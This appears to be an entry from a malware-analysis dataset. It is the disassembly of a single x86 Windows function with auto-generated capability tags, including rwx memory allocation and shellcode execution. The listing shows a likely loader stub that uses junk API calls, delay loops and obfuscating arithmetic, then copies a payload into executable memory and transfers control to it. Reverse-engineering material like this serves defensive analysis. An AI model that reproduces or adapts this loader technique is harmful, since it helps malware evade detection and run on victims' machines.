Function at 0x4032a0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create mailslot
Execute shellcode via indirect call
Get common file path
Identify system language via api
Manipulate console buffer
Query or enumerate registry value
Resolve function by parsing pe exports
Set environment variable

Disassembly:
sub esp, 0x954
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_DeleteTimerQueue]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov dword [esp + 0x14], 0
lea ebx, [ebx]
cmp dword [0x4a7594], 0xd4c
jne 0x40339b
push 0
call esi
call edi
push 0
call ebx
push 0x30
lea eax, [esp + 0x2e8]
push 0
push eax
mov dword [esp + 0x2ec], 0
call fcn.00405210
add esp, 0xc
lea ecx, [esp + 0x2e0]
push ecx
push 0
push 0
call ebp
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
lea edx, [esp + 0x564]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
lea eax, [esp + 0x344]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMailslotW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor edx, edx
xor ecx, ecx
lea eax, [esp + 0x2dc]
push eax
mov word [esp + 0x14], cx
mov word [esp + 0x16], dx
mov ecx, dword [esp + 0x14]
push ecx
push edx
push edx
push edx
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapValidate]
cmp dword [esp + 0x14], 0x656671
jne 0x4033b5
push 0x401250
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x43942c], eax
mov eax, dword [esp + 0x14]
inc eax
cmp eax, 0x66d056
mov dword [esp + 0x14], eax
jl 0x4032d0
mov edx, dword [0x41291c]
mov dword [0x4a7594], edx
mov eax, 0xb2d3b
add dword [0x4a7594], eax
mov eax, dword [0x4a7594]
push 0x40
push 0x1000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov dword [0x439408], eax
xor esi, esi
push 0
push 0
push 0
push 0
call edi
call ebx
cmp esi, 0xe1807f8
jg 0x40342e
inc esi
mov eax, esi
cdq
cmp edx, 0x6d
jl 0x403408
jg 0x40342e
cmp eax, 0xd69e5f84
jb 0x403408
mov ecx, dword [0x412008]
mov dword [0x4a7598], ecx
mov dword [esp + 0xd8], 0x4a25f3a
mov dword [esp + 0xd0], 0x5f5530bd
mov dword [esp + 0x250], 0x47251fbf
mov dword [esp + 0x21c], 0x1700b6bd
mov dword [esp + 0x140], 0x17b451ce
mov dword [esp + 0xc8], 0x5a69cc98
mov dword [esp + 0x208], 0x263fa579
mov dword [esp + 0x60], 0x38707a86
mov dword [esp + 0x194], 0x146bd94e
mov dword [esp + 0x200], 0x2719cef
mov dword [esp + 0x248], 0x5bd47faa
mov dword [esp + 0x10c], 0x14fc6dd8
mov dword [esp + 0x2ac], 0x3b5ab2db
mov dword [esp + 0x14c], 0x3e1ff617
mov dword [esp + 0x2b4], 0x7a9aef9d
mov dword [esp + 0x3c], 0x4e1a976a
mov dword [esp + 0x138], 0x6f18af81
mov dword [esp + 0xdc], 0x51722c2
mov dword [esp + 0x84], 0x7b311788
mov dword [esp + 0x23c], 0x218d970f
mov dword [esp + 0x2c4], 0x2c0c2f07
mov dword [esp + 0x264], 0x37b5bbc5
mov dword [esp + 0xc0], 0xb8cd3d9
mov dword [esp + 0x16c], 0x2a1068e0
mov dword [esp + 0x1f8], 0x6f157c13
mov dword [esp + 0x240], 0x13bc955a
mov dword [esp + 0x1f0], 0x4d0ec02f
mov dword [esp + 0xd4], 0x6be85f8
mov dword [esp + 0x130], 0x649d9682
mov dword [esp + 0x128], 0x7e9929a0
mov dword [esp + 0x64], 0x666676e6
mov dword [esp + 0x1e8], 0x1903df9f
mov dword [esp + 0x120], 0x77d6e5d8
mov dword [esp + 0x1e0], 0x18611385
mov dword [esp + 0x1dc], 0x4f04e104
mov dword [esp + 0x144], 0x65fddc59
mov dword [esp + 0x238], 0x599dc2f9
mov dword [esp + 0x190], 0x3efd5507
mov dword [esp + 0x118], 0x344eae28
mov dword [esp + 0x2c0], 0x10d18677
mov dword [esp + 0x110], 0x34fe7e0f
mov dword [esp + 0x2b8], 0x61abb4c4
mov dword [esp + 0x230], 0x40928745
mov dword [esp + 0xcc], 0x14db47f7
mov dword [esp + 0x2d8], 0xb3e0e97
mov dword [esp + 0x124], 0x366e66ee
mov dword [esp + 0x104], 0x5dbc40d4
mov dword [esp + 0x58], 0x573f26a2
mov dword [esp + 0x2a4], 0x5f01e0b8
mov dword [esp + 0xb8], 0xf3e1631
mov dword [esp + 0xc4], 0x233bd6f2
mov dword [esp + 0x214], 0x8824d09
mov dword [esp + 0x34], 0x3eb0f71c
mov dword [esp + 0x50], 0x4bbca550
mov dword [esp + 0x188], 0x5d223b70
mov dword [esp + 0xa4], 0x25345aaa
mov dword [esp + 0x18c], 0x2b5c626f
mov dword [esp + 0x1c4], 0x14535dd
mov dword [esp + 0x2b0], 0x6fbe85d3
mov dword [esp + 0x48], 0x3d8f946d
mov dword [esp + 0x108], 0x6383c31e
mov dword [esp + 0x9c], 0x3fee6f70
mov dword [esp + 0x2c], 0x21713cf6
mov dword [esp + 0xb0], 0x18830197
mov dword [esp + 0x13c], 0x4865cf77
mov dword [esp + 0x100], 0x39568152
mov dword [esp + 0x27c], 0x5fbab620
mov dword [esp + 0x180], 0x51694b40
mov dword [esp + 0x204], 0x3e2ba7
mov dword [esp + 0x178], 0x4696af7b
mov dword [esp + 0x134], 0x67083a9
mov dword [esp + 0x11c], 0x4d584f72
mov dword [esp + 0x1b4], 0x662aa957
mov dword [esp + 0x1a4], 0x20236672
mov dword [esp + 0x20c], 0x4e37edb8
mov dword [esp + 0xa8], 0x2dbea477
mov dword [esp + 0x164], 0x429f7140
mov dword [esp + 0x1d8], 0x71069013
mov dword [esp + 0x40], 0x2485f6e0
mov dword [esp + 0x170], 0x77478184
mov dword [esp + 0x1f4], 0x37b02ca8
mov dword [esp + 0x254], 0x69d54510
mov dword [esp + 0xa0], 0x1ffa54a
mov dword [esp + 0x168], 0x1b7561e0
mov dword [esp + 0x98], 0x4e9281a2
mov dword [esp + 0x224], 0x46bc9f8
mov dword [esp + 0x7c], 0x2b907e1e
mov dword [esp + 0x228], 0x44075b5f
mov dword [esp + 0x160], 0x2715c707
mov dword [esp + 0x2a8], 0x55c3f79
mov dword [esp + 0x5c], 0x582e14a4
mov dword [esp + 0x2bc], 0x29d84bc7
mov dword [esp + 0x90], 0xdfc4c71
mov dword [esp + 0x38], 0x37467419
mov dword [esp + 0x30], 0x784fa6d1
mov dword [esp + 0xf8], 0x32b0d52d
mov dword [esp + 0x24], 0x56d15639
mov dword [esp + 0x1d0], 0x2801d85c
mov dword [esp + 0x88], 0x89e5439
mov dword [esp + 0x28], 0x3ecb0483
mov dword [esp + 0x80], 0x36150c75
mov dword [esp + 0x244], 0x4ca2ac6c
mov dword [esp + 0x1d4], 0x7d79eca4
mov dword [esp + 0xbc], 0x4cf1bf0d
mov dword [esp + 0x2a0], 0x6bd872a1
mov dword [esp + 0x54], 0x728ae62
mov dword [esp + 0xf0], 0x2c848559
mov dword [esp + 0x220], 0x27b029af
mov dword [esp + 0x20], 0x5fe9164
mov dword [esp + 0x298], 0x64aa9d73
mov dword [esp + 0x158], 0xd86d7b0
mov dword [esp + 0x24c], 0x679f866e
mov dword [esp + 0x19c], 0x29bc9666
mov dword [esp + 0x1c], 0x75718412
mov dword [esp + 0x1c8], 0x666882c7
mov dword [esp + 0x25c], 0x143092cb
mov dword [esp + 0xe8], 0x5ecd5c2b
mov dword [esp + 0x184], 0x36607033
mov dword [esp + 0xfc], 0x768a1920
mov dword [esp + 0x274], 0x404aacc6
mov dword [esp + 0x94], 0x54d7df25
mov dword [esp + 0x1bc], 0x6b21bd82
mov dword [esp + 0x290], 0x103a8569
mov dword [esp + 0x26c], 0x5c10144f
mov dword [esp + 0x15c], 0x5a09a830
mov dword [esp + 0x4c], 0x45311baa
mov dword [esp + 0x12c], 0x58a11275
mov dword [esp + 0xf4], 0x7b6011bf
mov dword [esp + 0x18], 0xe62888c
mov dword [esp + 0x1ec], 0x3f454e3
mov dword [esp + 0x17c], 0x2f82f825
mov dword [esp + 0xec], 0x3f962789
mov dword [esp + 0xb4], 0x26c14ebc
mov dword [esp + 0x288], 0x4a3487e
mov dword [esp + 0x28c], 0x27aea30e
mov dword [esp + 0x294], 0xd214bc1
mov dword [esp + 0x174], 0x58f7bb5d
mov dword [esp + 0x218], 0x654b7666
mov dword [esp + 0x114], 0x2a4aa0ac
mov dword [esp + 0x1c0], 0x1e4448a5
mov dword [esp + 0x78], 0x127e0fd7
mov dword [esp + 0x8c], 0x7404425b
mov dword [esp + 0x1b8], 0x564064a2
mov dword [esp + 0x2cc], 0x675d32e6
mov dword [esp + 0x1b0], 0x1c1bca33
mov dword [esp + 0x74], 0x2b652bc5
mov dword [esp + 0x1a8], 0x78fdcdc9
mov dword [esp + 0x1a0], 0x25014aac
mov dword [esp + 0x1cc], 0x4bbff6d5
mov dword [esp + 0x198], 0x4e38a8d0
mov dword [esp + 0x280], 0x4d799f05
mov dword [esp + 0x284], 0x75b34f8
mov dword [esp + 0x1ac], 0x471a7a6b
mov dword [esp + 0x2c8], 0x1bb360ad
mov dword [esp + 0x44], 0x6a3e8e40
mov dword [esp + 0x150], 0x2efadffa
mov dword [esp + 0xac], 0x725c37d0
mov dword [esp + 0x70], 0xcb972de
mov dword [esp + 0x210], 0x262d92e9
mov dword [esp + 0x278], 0x5317ec6e
mov dword [esp + 0x68], 0x4f38b5e2
mov dword [esp + 0x1fc], 0x3caf5f6d
mov dword [esp + 0xe0], 0x467a864f
mov dword [esp + 0x270], 0x15ac0076
mov dword [esp + 0x268], 0x46ba386c
mov dword [esp + 0x154], 0x6205c7c6
mov dword [esp + 0x260], 0x63e880f6
mov dword [esp + 0x148], 0x1a34d7c7
mov dword [esp + 0x2d0], 0x1119a210
mov dword [esp + 0x6c], 0x3752a4a4
mov dword [esp + 0x22c], 0x7d158ab0
mov dword [esp + 0x258], 0x19d769f2
mov dword [esp + 0x29c], 0x71e08a7f
mov dword [esp + 0xe4], 0x5bab4b3f
mov dword [esp + 0x2d4], 0x4d4fab03
mov dword [esp + 0x1e4], 0x1470ce6f
add dword [esp + 0xd8], 0x7e537124
mov eax, 0x39a64c52
mul dword [esp + 0xd8]
mov eax, dword [esp + 0xd8]
add dword [esp + 0xd8], 0x10976774
mov eax, 0x3a0946ad
mul dword [esp + 0xd8]
mov eax, dword [esp + 0xd8]
mov eax, 0x7d0ffd72
mul dword [esp + 0xd8]
mov eax, dword [esp + 0xd8]
sub dword [esp + 0xd8], 0x4d43c425
sub dword [esp + 0xd8], 0x5a3c9e62
mov eax, 0x33642ad1
mul dword [esp + 0xd8]
mov eax, dword [esp + 0xd8]
add dword [esp + 0xd0], 0x15f270de
sub dword [esp + 0xd0], 0x561bcc0b
mov eax, 0x5980d5aa
mul dword [esp + 0xd0]
mov eax, dword [esp + 0xd0]
add dword [esp + 0xd0], 0x423e6c0f
add dword [esp + 0xd0], 0xd0e0d72
add dword [esp + 0xd0], 0x2fcddaad
mov eax, 0x66ee91b6
mul dword [esp + 0xd8]
mov eax, dword [esp + 0xd8]
sub dword [esp + 0xd0], 0x5d7d8a4a
mov eax, 0x7585f22f
mul dword [esp + 0xd8]
mov eax, dword [esp + 0xd8]
mov eax, 0x28aff769
mul dword [esp + 0xd0]
mov eax, dword [esp + 0xd0]
sub dword [esp + 0xd0], 0x5b07946f
add dword [esp + 0x21c], 0xa045f57
add dword [esp + 0x250], 0x145b6b56
mov eax, 0x5b41f5b3
mul dword [esp + 0x250]
mov eax, dword [esp + 0x250]
sub dword [esp + 0xd0], 0x6f26efbb
mov eax, 0x42609e05
mul dword [esp + 0x21c]
mov eax, dword [esp + 0x21c]
mov eax, 0x349183a1
mul dword [esp + 0xd0]
mov eax, dword [esp + 0xd0]
add dword [esp + 0xc8], 0x3a7df76
mov eax, 0x3d52fcc4
mul dword [esp + 0x60]
mov eax, dword [esp + 0x60]
sub dword [esp + 0xd8], 0x71f322ce
add dword [esp + 0x250], 0x503724de
add dword [esp + 0x21c], 0x5429d6fd
sub dword [esp + 0x208], 0x3e6b46ba
mov eax, 0x12800acc
mul dword [esp + 0x21c]
mov eax, dword [esp + 0x21c]
add dword [esp + 0x140], 0x111ec6ed
sub dword [esp + 0x10c], 0x32fd2e61
add dword [esp + 0x208], 0x58bbe413
add dword [esp + 0x60], 0x24cf2d83
sub dword [esp + 0x60], 0x16a847a
sub dword [esp + 0xd0], 0x5b67980
add dword [esp + 0xd0], 0x9abbf7d
add dword [esp + 0x194], 0x676692b4
add dword [esp + 0x140], 0x49e0854f
sub dword [esp + 0x3c], 0x31e3745d
add dword [esp + 0x2ac], 0x60ef302e
sub dword [esp + 0x2b4], 0x6cb02334
sub dword [esp + 0x2ac], 0x78d555e8
mov eax, 0x300d9bd7
mul dword [esp + 0x2b4]
mov eax, dword [esp + 0x2b4]
add dword [esp + 0x248], 0x3455736a
add dword [esp + 0x14c], 0x55735058
add dword [esp + 0x3c], 0x66d06650
mov eax, 0x52cac6da
mul dword [esp + 0x264]
mov eax, dword [esp + 0x264]
add dword [esp + 0x21c], 0x1b416dca
sub dword [esp + 0x264], 0x7073ca
sub dword [esp + 0x84], 0x7418a312
mov eax, 0x28777ae1
mul dword [esp + 0xc0]
mov eax, dword [esp + 0xc0]
mov eax, 0x44f3b04c
mul dword [esp + 0x10c]
mov eax, dword [esp + 0x10c]
mov eax, 0x79a73e4e
mul dword [esp + 0x1f8]
mov eax, dword [esp + 0x1f8]
mov eax, 0x7b597a99
mul dword [esp + 0x16c]
mov eax, dword [esp + 0x16c]
sub dword [esp + 0x138], 0x140269d4
mov eax, 0x64faa0bf
mul dword [esp + 0x2c4]
mov eax, dword [esp + 0x2c4]
sub dword [esp + 0x3c], 0x721f8580
sub dword [esp + 0xd8], 0x4874fac3
add dword [esp + 0x250], 0x15545ece
add dword [esp + 0xdc], 0x7b7fa9f
mov eax, 0x6a2004ae
mul dword [esp + 0x248]
mov eax, dword [esp + 0x248]
sub dword [esp + 0x2ac], 0x94d016d
add dword [esp + 0x208], 0x18420760
sub dword [esp + 0x1f0], 0x210c2039
add dword [esp + 0x120], 0x1dc04c72
sub dword [esp + 0x240], 0x39b29b84
sub dword [esp + 0x1f0], 0x46bf88c9
sub dword [esp + 0x194], 0x3b5fc53c
sub dword [esp + 0x23c], 0x3506125d
add dword [esp + 0x208], 0x6be82721
add dword [esp + 0x1f8], 0x5b2f24fd
mov eax, 0x11f9d769
mul dword [esp + 0x130]
mov eax, dword [esp + 0x130]
add dword [esp + 0x130], 0x348c1b13
mov eax, 0x31f0a0fb
mul dword [esp + 0x120]
mov eax, dword [esp + 0x120]
sub dword [esp + 0x138], 0x5e2b9616
sub dword [esp + 0x2c4], 0x6b362064
add dword [esp + 0x14c], 0x1b23d468
add dword [esp + 0x3c], 0x1bd29e4c
sub dword [esp + 0xc0], 0x9c35997
sub dword [esp + 0xd0], 0x6b9b5646
mov eax, 0x2fda8660
mul dword [esp + 0x2b4]
mov eax, dword [esp + 0x2b4]
sub dword [esp + 0x118], 0x7b81acae
add dword [esp + 0xc8], 0x7b6e0ab7
sub dword [esp + 0x124], 0x7f8a8b04
sub dword [esp + 0x10c], 0x405c83a1
mov eax, 0x52710d6d
mul dword [esp + 0x110]
mov eax, dword [esp + 0x110]
add dword [esp + 0x2b8], 0xa2324f8
sub dword [esp + 0x138], 0x6618e612
sub dword [esp + 0x194], 0x1959164c
add dword [esp + 0x2b4], 0x7572c4fa
mov eax, 0x3b537fce
mul dword [esp + 0x16c]
mov eax, dword [esp + 0x16c]
sub dword [esp + 0x124], 0x38dd8f37
add dword [esp + 0xc0], 0x7d6d9e11
add dword [esp + 0x124], 0x7ab45d58
mov eax, 0xd15f45b
mul dword [esp + 0x124]
mov eax, dword [esp + 0x124]
sub dword [esp + 0x120], 0x390c50f9
add dword [esp + 0x130], 0x4bdee8c1
mov eax, 0x3604a955
mul dword [esp + 0x23c]
mov eax, dword [esp + 0x23c]
sub dword [esp + 0x3c], 0x510354df
mov eax, 0x1efabfd6
mul dword [esp + 0x1f0]
mov eax, dword [esp + 0x1f0]
mov eax, 0x17266829
mul dword [esp + 0x230]
mov eax, dword [esp + 0x230]
mov eax, 0x53f58d01
mul dword [esp + 0x1f0]
xor eax, eax
cmp dword [0x4a7594], eax
jbe 0x4040ff
nop
mov edx, dword [0x4a7598]
mov cl, byte [eax + edx + 0xb2d3b]
mov edx, dword [0x439408]
mov byte [eax + edx], cl
inc eax
cmp eax, dword [0x4a7594]
jb 0x4040e0
mov eax, dword [0x43942c]
push 0x41cce0
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [0x4a7594]
mov ecx, dword [0x439408]
push 0x412010
mov dword [0x4393f4], eax
call fcn.00403230
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov edi, 0x356d83
jmp 0x404140
cmp dword [0x4a7594], 0x1125
jne 0x40415e
push 0
lea ecx, [esp + 0x2e0]
push ecx
push 0
push 0
push 0
call esi
sub edi, 1
jne 0x404140
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ebx, dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
mov ebp, dword [sym.imp.ADVAPI32.dll_BackupEventLogW]
mov dword [esp + 0x10], 0x7b
cmp dword [0x4a7594], 0x165
jne 0x4041cc
lea edx, [esp + 0x2dc]
push edx
lea eax, [esp + 0x23b]
push eax
lea ecx, [esp + 0x1c]
push ecx
push 0
push 0
push 0
call esi
push 0
lea edx, [esp + 0x2e4]
push edx
call edi
push 0
call ebx
push 0
push 0
call ebp
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
sub dword [esp + 0x10], 1
jne 0x404183
call fcn.00403290
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x954
ret